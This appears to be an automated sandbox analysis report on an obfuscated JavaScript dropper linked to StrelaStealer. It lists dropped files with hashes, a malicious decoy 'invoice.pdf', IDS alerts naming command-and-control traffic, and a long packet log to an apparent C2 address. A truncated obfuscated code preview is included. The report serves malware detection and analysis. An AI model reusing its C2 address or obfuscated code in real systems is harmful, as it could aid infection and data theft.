Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ce9fd180-cca3-4ded-bcc2-921ac1411b52.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15239), with CRLF line terminators
Entropy (8bit):	4.915349581209048
TrID:
File name:	1709323591581122310.js
File size:	18'698 bytes
MD5:	7f11699f1a95f7e8fab92173639ba662
SHA1:	1dabb73e09f6a7a206bfd7799480f1453e138b74
SHA256:	e6f0c5b6d981b07531f8fbbe1e6b8ae82d04a19e8a3153a3a1e19a06263c29ea
SHA512:	3fdd83ec22a30e68edc8c2777407bc56d57518325bb9f9c0aab6131c2ed0c749d96d54997800141a840da646de7b90deba98eb516198dea5e4e4dd3facd8e797
SSDEEP:	384:5z9c0/c0WLc0WVCHINTAlVUFi7m7Ap6ZQbQr2ZjWDmhaJ7lgTFj19gTOYW3E57Ea:5z9c0/c0WLc0WVCHINTDRtBb+r9RQ
TLSH:	9B823149C2A9CBE6D0D86B3CFAEE518AA3D2844C1DEF5162C5E5B04C5404F7B74E12FA
File Content Preview:	function bppls(){lzbowxcpf=[1031,3079,5127,4103,2055,3072];var pvftjoil=this[ujecywfli+qyhgeym+zpbixvm+ucfox+aflcqyud+gsgnwgzav+fehmex+aqydnggm](this[ncdjvxhpl+vegyyt+ikibnke+zpbixvm+ziotrn+ujecywfli+aqydnggm][abrpyivhb+zpbixvm+aflcqyud+qyhgeym+aqydnggm+a

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:00:28.588247+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:00:28.588247+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:00:30.940110+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:00:27.604423046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:27.609993935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:27.610153913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:27.613492966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:27.619245052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.587979078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.587999105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588011026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588099003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588109970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588239908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588247061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.588247061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.588252068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588263035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588274956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588279009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.588288069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.588311911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.588335991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.593214035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.643310070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.644994020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.645015001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.645087957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.709335089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709352016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709363937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709414959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709461927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.709495068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709508896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709513903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.709546089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.709964037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709975958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.709988117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.710035086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.710103989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.710117102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.710155010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.710820913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.710870028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.710872889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.710881948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.710913897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.711014032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.711025953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.711055994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.711767912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.711815119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.711826086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.711854935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.711916924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.711954117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.736648083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.761852980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.761872053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.761893034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.761904001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.761980057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.762037992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.808721066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.808738947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.808751106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.808895111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.830349922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830395937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830406904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830471039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830476046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.830482960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830543995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.830607891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830666065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830678940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830702066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.830806971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830818892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.830845118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.831231117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.831254959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.831265926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.831267118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.831343889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.831459999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.831473112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.831511021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.831547976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.831559896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.831598043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.832138062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.832192898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.832204103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.832238913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.832321882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.832334042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.832359076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.832462072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.832475901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.832498074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.833062887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.833106041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.833107948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.833162069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.833175898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.833199024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.833296061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.833332062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.833384991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.833396912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.833432913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.834043980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.834055901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.834069014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.834105015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.834134102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.834146976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.834180117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.853521109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.853538990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.853550911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.853617907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.853636026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.853692055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.882811069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.882843018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.882915974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.898065090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.898097992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.898111105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.898252964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.900204897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.900221109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.900273085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.929701090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.929724932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.929737091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.929796934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.929855108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.929923058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.929934978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.929970026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.951421976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951457024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951468945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951503038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.951524019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951550007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.951580048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951627970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.951657057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951668978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951705933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.951757908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951829910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951870918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.951881886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951894999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.951931000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.952018023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952131033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952142954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952153921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952159882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952168941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.952213049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.952445984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952459097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952497959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.952682018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952728987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.952742100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952754021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952795982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.952852011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952944040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952955961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952966928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.952989101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.953015089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.953252077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953298092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953310013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953347921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.953413963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953459024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.953493118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953505993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953533888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953546047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953548908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.953583956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.953855038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953866005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.953898907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.954047918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954108000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954119921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954159975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.954236031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954246998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954276085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.954286098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954298019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954325914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.954581976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954595089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954606056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954617023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.954633951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.954660892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.955106020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955120087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955130100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955144882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.955178022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.955257893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955287933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955298901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955321074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955328941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.955370903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.955537081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955549955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955559969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955571890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.955585957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.955670118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.955986977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.956042051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.956053972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.956093073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.956207991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.956221104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.956232071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.956244946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.956248045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.956281900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.956439018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.968877077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:28.974385977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:28.974416018 CET	80	49704	193.143.1.205	192.168.2.5
